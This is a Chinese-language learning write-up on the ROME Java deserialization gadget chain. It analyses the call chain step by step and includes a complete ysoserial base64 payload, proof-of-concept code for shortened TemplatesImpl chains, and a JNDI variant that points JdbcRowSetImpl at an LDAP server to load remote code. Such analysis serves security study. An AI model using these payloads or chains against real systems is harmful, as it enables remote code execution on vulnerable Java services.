ROME反序列化浅析

文章发布时间:

最后更新时间:

写在前面

Java Rome 反序列化学习,学习系统化吸收知识点的,记录过程

环境搭建

  • maven 依赖

    1
    2
    3
    4
    5
    6
    <!-- https://mvnrepository.com/artifact/rome/rome -->
    <dependency>
    <groupId>rome</groupId>
    <artifactId>rome</artifactId>
    <version>1.0</version>
    </dependency>

    加载ysoserial payload 并 base64 编码

    1
    java -jar ysoserial-all.jar ROME  "calc.exe" | base64 

    得到4438长度的payload

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVz
    aG9sZHhwP0AAAAAAAAB3CAAAAAIAAAACc3IAKGNvbS5zdW4uc3luZGljYXRpb24uZmVlZC5pbXBs
    Lk9iamVjdEJlYW6CmQfedgSUSgIAA0wADl9jbG9uZWFibGVCZWFudAAtTGNvbS9zdW4vc3luZGlj
    YXRpb24vZmVlZC9pbXBsL0Nsb25lYWJsZUJlYW47TAALX2VxdWFsc0JlYW50ACpMY29tL3N1bi9z
    eW5kaWNhdGlvbi9mZWVkL2ltcGwvRXF1YWxzQmVhbjtMAA1fdG9TdHJpbmdCZWFudAAsTGNvbS9z
    dW4vc3luZGljYXRpb24vZmVlZC9pbXBsL1RvU3RyaW5nQmVhbjt4cHNyACtjb20uc3VuLnN5bmRp
    Y2F0aW9uLmZlZWQuaW1wbC5DbG9uZWFibGVCZWFu3WG7xTNPa3cCAAJMABFfaWdub3JlUHJvcGVy
    dGllc3QAD0xqYXZhL3V0aWwvU2V0O0wABF9vYmp0ABJMamF2YS9sYW5nL09iamVjdDt4cHNyAB5q
    YXZhLnV0aWwuQ29sbGVjdGlvbnMkRW1wdHlTZXQV9XIdtAPLKAIAAHhwc3EAfgACc3EAfgAHcQB+
    AAxzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxh
    dGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5
    dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1ldAASTGph
    dmEvbGFuZy9TdHJpbmc7TAARX291dHB1dFByb3BlcnRpZXN0ABZMamF2YS91dGlsL1Byb3BlcnRp
    ZXM7eHAAAAAA/////3VyAANbW0JL/RkVZ2fbNwIAAHhwAAAAAnVyAAJbQqzzF/gGCFTgAgAAeHAA
    AAacyv66vgAAADIAOQoAAwAiBwA3BwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25z
    dGFudFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJs
    ZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5u
    ZXJDbGFzc2VzAQA1THlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkU3R1YlRyYW5zbGV0
    UGF5bG9hZDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5h
    bC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIv
    U2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUv
    eGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFj
    aGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0
    aW9ucwcAJwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtM
    Y29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20v
    c3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRs
    ZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9E
    VE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVy
    bmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEADEdhZGdl
    dHMuamF2YQwACgALBwAoAQAzeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJh
    bnNsZXRQYXlsb2FkAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1
    bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQA5Y29tL3N1bi9v
    cmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAfeXNvc2Vy
    aWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cwEACDxjbGluaXQ+AQARamF2YS9sYW5nL1J1bnRpbWUH
    ACoBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAsAC0KACsALgEACGNhbGMu
    ZXhlCAAwAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwA
    MgAzCgArADQBAA1TdGFja01hcFRhYmxlAQAdeXNvc2VyaWFsL1B3bmVyNDEzODAzNjI2NDk0MTQB
    AB9MeXNvc2VyaWFsL1B3bmVyNDEzODAzNjI2NDk0MTQ7ACEAAgADAAEABAABABoABQAGAAEABwAA
    AAIACAAEAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAALwAOAAAADAAB
    AAAABQAPADgAAAABABMAFAACAAwAAAA/AAAAAwAAAAGxAAAAAgANAAAABgABAAAANAAOAAAAIAAD
    AAAAAQAPADgAAAAAAAEAFQAWAAEAAAABABcAGAACABkAAAAEAAEAGgABABMAGwACAAwAAABJAAAA
    BAAAAAGxAAAAAgANAAAABgABAAAAOAAOAAAAKgAEAAAAAQAPADgAAAAAAAEAFQAWAAEAAAABABwA
    HQACAAAAAQAeAB8AAwAZAAAABAABABoACAApAAsAAQAMAAAAJAADAAIAAAAPpwADAUy4AC8SMbYA
    NVexAAAAAQA2AAAAAwABAwACACAAAAACACEAEQAAAAoAAQACACMAEAAJdXEAfgAXAAAB1Mr+ur4A
    AAAyABsKAAMAFQcAFwcAGAcAGQEAEHNlcmlhbFZlcnNpb25VSUQBAAFKAQANQ29uc3RhbnRWYWx1
    ZQVx5mnuPG1HGAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2Nh
    bFZhcmlhYmxlVGFibGUBAAR0aGlzAQADRm9vAQAMSW5uZXJDbGFzc2VzAQAlTHlzb3NlcmlhbC9w
    YXlsb2Fkcy91dGlsL0dhZGdldHMkRm9vOwEAClNvdXJjZUZpbGUBAAxHYWRnZXRzLmphdmEMAAoA
    CwcAGgEAI3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkRm9vAQAQamF2YS9sYW5nL09i
    amVjdAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQAfeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2Fk
    Z2V0cwAhAAIAAwABAAQAAQAaAAUABgABAAcAAAACAAgAAQABAAoACwABAAwAAAAvAAEAAQAAAAUq
    twABsQAAAAIADQAAAAYAAQAAADwADgAAAAwAAQAAAAUADwASAAAAAgATAAAAAgAUABEAAAAKAAEA
    AgAWABAACXB0AARQd25ycHcBAHhzcgAoY29tLnN1bi5zeW5kaWNhdGlvbi5mZWVkLmltcGwuRXF1
    YWxzQmVhbvWKGLvl9hgRAgACTAAKX2JlYW5DbGFzc3QAEUxqYXZhL2xhbmcvQ2xhc3M7TAAEX29i
    anEAfgAJeHB2cgAdamF2YXgueG1sLnRyYW5zZm9ybS5UZW1wbGF0ZXMAAAAAAAAAAAAAAHhwcQB+
    ABRzcgAqY29tLnN1bi5zeW5kaWNhdGlvbi5mZWVkLmltcGwuVG9TdHJpbmdCZWFuCfWOSg8j7jEC
    AAJMAApfYmVhbkNsYXNzcQB+ABxMAARfb2JqcQB+AAl4cHEAfgAfcQB+ABRzcQB+ABt2cQB+AAJx
    AH4ADXNxAH4AIHEAfgAjcQB+AA1xAH4ABnEAfgAGcQB+AAZ4
  • 测试 demo

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    public class Serialization {

    public static byte[] serialize(Object obj) throws Exception {
    ByteArrayOutputStream arr = new ByteArrayOutputStream();
    try {
    ObjectOutputStream output = new ObjectOutputStream(arr);
    output.writeObject(obj);
    } catch (Exception e) {
    e.printStackTrace();
    }

    return arr.toByteArray();
    }

    public static Object unserialize(byte[] arr) throws Exception {
    Object obj = null;
    try {
    ObjectInputStream input = new ObjectInputStream(new ByteArrayInputStream(arr));
    obj = input.readObject();
    }catch (Exception e) {
    e.printStackTrace();
    }
    return obj;
    }

    public static void test(Object obj) throws Exception {
    byte[] data = serialize(obj);
    unserialize(data);
    }
    }
    1
    2
    3
    4
    5
    public static void main(String[] args) throws Exception {
    String payload = "xxx";
    byte[] code = Base64.getDecoder().decode(payload);
    Serialization.unserialize(code);
    }
  • 漏洞触发

    image-20221230173956587

漏洞分析

  • 调用链如下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    * TemplatesImpl.getOutputProperties()
    * NativeMethodAccessorImpl.invoke0(Method, Object, Object[])
    * NativeMethodAccessorImpl.invoke(Object, Object[])
    * DelegatingMethodAccessorImpl.invoke(Object, Object[])
    * Method.invoke(Object, Object...)
    * ToStringBean.toString(String)
    * ToStringBean.toString()
    * ObjectBean.toString()
    * EqualsBean.beanHashCode()
    * ObjectBean.hashCode()
    * HashMap<K,V>.hash(Object)
    * HashMap<K,V>.readObject(ObjectInputStream)
  • 调用链调试

    HashMap#readObject()处下断点,根据以往的经验我们知道,这里会对HashMap中的key进行hash操作,注意参数类型这里是ObjectBean

    image-20221230174409472

    跟入hash函数自然的会调用key对象的hashCode操作

    image-20221230174534937

    ObjectBean#hashCode()中,会进一步调用EqualsBean#beanHashCode()

    image-20221230174604881

    跟入又反过来调用了ObjectBeantoString方法

    image-20221230174718760

    进一步调用ToStringBean#toString(),这里会获得_obj属性的全限定类名并截取最后一个点号之后的类名作为prefix,并在最后再次调用重载的toString方法

    image-20221230175007244

其中可以看到会先获取到_beanClass的JavaBean实例并遍历调用getter方法,筛选出声明类型不是Object类型的,且无参数的反射触发。这便与我们的Templates调用链TemplatesImpl.getOutputProperties(),其之后会进一步加载字节码并触发静态代码块

image-20221230175349115

利用链构造

  • ysoserial payload设计

    image-20221230180708535

    总体上分为四步:

    image-20221230180736772

    ObjectBean的构造函数如下

    image-20221230180840509

    EqualsBean的构造函数如下

    image-20221230180956059

    其分别设置参数_beanClass_obj,另外两个类也是类似

    image-20221230181152369

    image-20221230181318081

    接着我们带着参数理一遍调用链

    由于HashMap中的key为root参数,所以在调用key.hashCode时会去对应参数的方法

    image-20221230190356937

    this._obj就是构造root的时的第二个参数delegate,因此触发ObjectBean.toString

    这里的_toStringBean我们构造ToStringBean类 _beanClass为Templates.class和进一步封装的恶意Templates实例

    image-20221230181634336

    第一个调用的是ToStringBean类的无参toString方法,这里的_obj是delegate参数对应的恶意Templates实例

    image-20221230181937859

    进一步调用有参toString方法,这里的_beanClass注意是javax.xml.transform.Templates类接口,后续前面已经说过

调用链缩短

先根据yso的逻辑实现自己实现一个

1
2
3
4
5
6
7
8
9
10
Object o = Gadgets.createTemplatesImpl("calc.exe");
Object delegate = new ObjectBean(Templates.class, o);
ObjectBean root = new ObjectBean(String.class, "1");
HashMap map = new HashMap();
map.put(root, "1");
Field field = ObjectBean.class.getDeclaredField("_equalsBean");
field.setAccessible(true);
field.set(root, new EqualsBean(ObjectBean.class, delegate));
byte[] serialize = serialize(map);
unserialize(serialize);

image-20221230193742594

改造的思路主要是替换调用链当中一些处理麻烦的类方法

首先EqualsBean类中的equals方法可以看到最终也可以通过调用beanEquals方法,最终触发到Templates的getter方法,问题点就在如何触发到equals方法

image-20221230193930057

这里需要先了解一下HashMap的hashCode方法,其会根据类型调用对应的hashCode

image-20221230194502575

如果传入的是字符串,那么hashCode方法如下

image-20221230194735206

对于两个元素得到等式

第一个元素如果比第二个元素小1,第二个元素就必须比第一个元素大31

因此对于字符串aabB来说,两者的hashCode是相同的。另一个关于hashMap的细节在于如果其中的元素大于1个,则在hashCode运算时会先调用父类的hashCode,也就是

AbstractMap#hashCode()

image-20221230203823063

所以这里如果我们这样设置,那么两者是相等的

1
2
3
4
map1.put("aa", "1");
map1.put("bB", "2");
map2.put("aa", "2");
map2.put("bB", "1");

我们代入这个知识点再去看反序列化调用过程中的HashMap#putval(key)方法,其中当两个key哈希相同时,会触发equals方法,这里我们让它触发map的equals方法

image-20221230204319934

进一步,如果map中元素大于1个,则会调用到父类AbstractMap的equals方法,里面会触发value的equals方法,因此我们只需要将value设置成对应的EqualsBean实例即可

image-20221230204612432

image-20221230214255913

这里如此设置的原因一个是我们需要调用到EqualsBean对象,所以设置成value。然后让另一个map相同的key对应value设置为templates实例,主要是在后面会有是否是实例的判断

1
2
3
4
map1.put("aa", templates);
map1.put("bB", bean);
map2.put("aa", bean);
map2.put("bB", templates);

image-20221230214432694

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Object templates = Gadgets.createTemplatesImpl("calc.exe");
EqualsBean bean = new EqualsBean(String.class, "");
HashMap map1 = new HashMap();
HashMap map2 = new HashMap();
map1.put("aa", templates);
map1.put("bB", bean);
map2.put("aa", bean);
map2.put("bB", templates);
HashMap map = new HashMap();
map.put(map1, "");
map.put(map2, "");

setFieldValue(bean, "_beanClass", Templates.class);
setFieldValue(bean, "_obj", templates);

byte[] serialize = serialize(map);
System.out.println(Base64.getEncoder().encode(serialize).length);
unserialize(serialize);

此时长度为

image-20221230214732485

我们下一步需要改进的是yso的Gadgets.createTemplatesImpl("calc.exe")

这里主要就是利用到javassist直接操作class对象(找时间再补一下javassist基础),可以非常简洁的构造一个恶意class对象

1
2
3
4
5
6
7
8
9
10
public static byte[] generate() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("evil");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime.exec(\"calc.exe\");");
clazz.addConstructor(constructor);
return clazz.toBytecode();
}

最后再设置一下Templates实例对象各个属性即可

1
2
3
4
5
6
7
8
9
10
public static TemplatesImpl getTemplatesImpl() throws Exception {
byte[][] bytes = {generate()};

TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", bytes);
setFieldValue(templates, "_name", "1");
setFieldValue(templates, "_tfactory", null);

return templates;
}

最后长度

image-20221230220028692

其他新利用链

更换sinks

这里我们也可以不利用加载恶意字节码的方式,改换成JNDI注入的方式。将sinks函数更换为JdbcRowSetImpl.getDatabaseMetaData()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public static void main(String[] args) throws Exception {
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
jdbcRowSet.setDataSourceName("ldap://0.0.0.0:1389/Basic/Command/calc");
jdbcRowSet.setMatchColumn(new String[]{"a"});

EqualsBean bean = new EqualsBean(String.class, "");
HashMap map1 = new HashMap();
HashMap map2 = new HashMap();
map1.put("aa", jdbcRowSet);
map1.put("bB", bean);
map2.put("aa", bean);
map2.put("bB", jdbcRowSet);
HashMap map = new HashMap();
map.put(map1, "");
map.put(map2, "");

setFieldValue(bean, "_beanClass", JdbcRowSetImpl.class);
setFieldValue(bean, "_obj", jdbcRowSet);

byte[] serialize = serialize(map);
System.out.println(Base64.getEncoder().encode(serialize).length);
unserialize(serialize);
}

这里的长度目前超过了2000,如果想要缩减长度的话,就需要剔除JdbcRowSetImpl实例中无用的属性,但又不能影响到最终JNDI注入的执行

image-20221231164211019

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public static void clear(JdbcRowSetImpl jdbcRowSet) throws Exception {
setFieldValue(jdbcRowSet, "iMatchColumns", null);
setFieldValue(jdbcRowSet, "resBundle", null);

// private Vector<RowSetListener> listeners;
Class<?> clazz = Class.forName(BaseRowSet.class.getName());
Field field = clazz.getDeclaredField("listeners");
field.setAccessible(true);
field.set(jdbcRowSet, null);

// private Hashtable<Integer, Object> params;
Field field1 = clazz.getDeclaredField("params");
field1.setAccessible(true);
field1.set(jdbcRowSet, null);
}

最终payload长度

image-20221231165945183

二次反序列化的方式:

我们已经知道EqualsBean/ToStringBean类最终可以触发到某个类的getter方法,那么一个思路就是继续触发getter方法中的原生反序列化方法,且内容可控

java.security.SignedObject非常符合要求

image-20221231170336270

看看参数是怎么流动的,在构造方法中,会将第一个参数进行序列化并以字节数组的方式存入content属性当中

image-20221231170543793

但感觉这样肯定更复杂了,试了一下确实是,就不展开了

参考链接

https://exp10it.cn/2022/11/rome-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%88%86%E6%9E%90/

https://124.221.153.250/archives/721#ysoserial%E6%BA%90%E7%A0%81

https://y4tacker.github.io/2022/03/07/year/2022/3/ROME%E6%94%B9%E9%80%A0%E8%AE%A1%E5%88%92/#%E7%AE%80%E5%8D%95%E5%88%86%E6%9E%90

https://longlone.top/%E5%AE%89%E5%85%A8/java/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E7%AF%87%E4%B9%8BROME/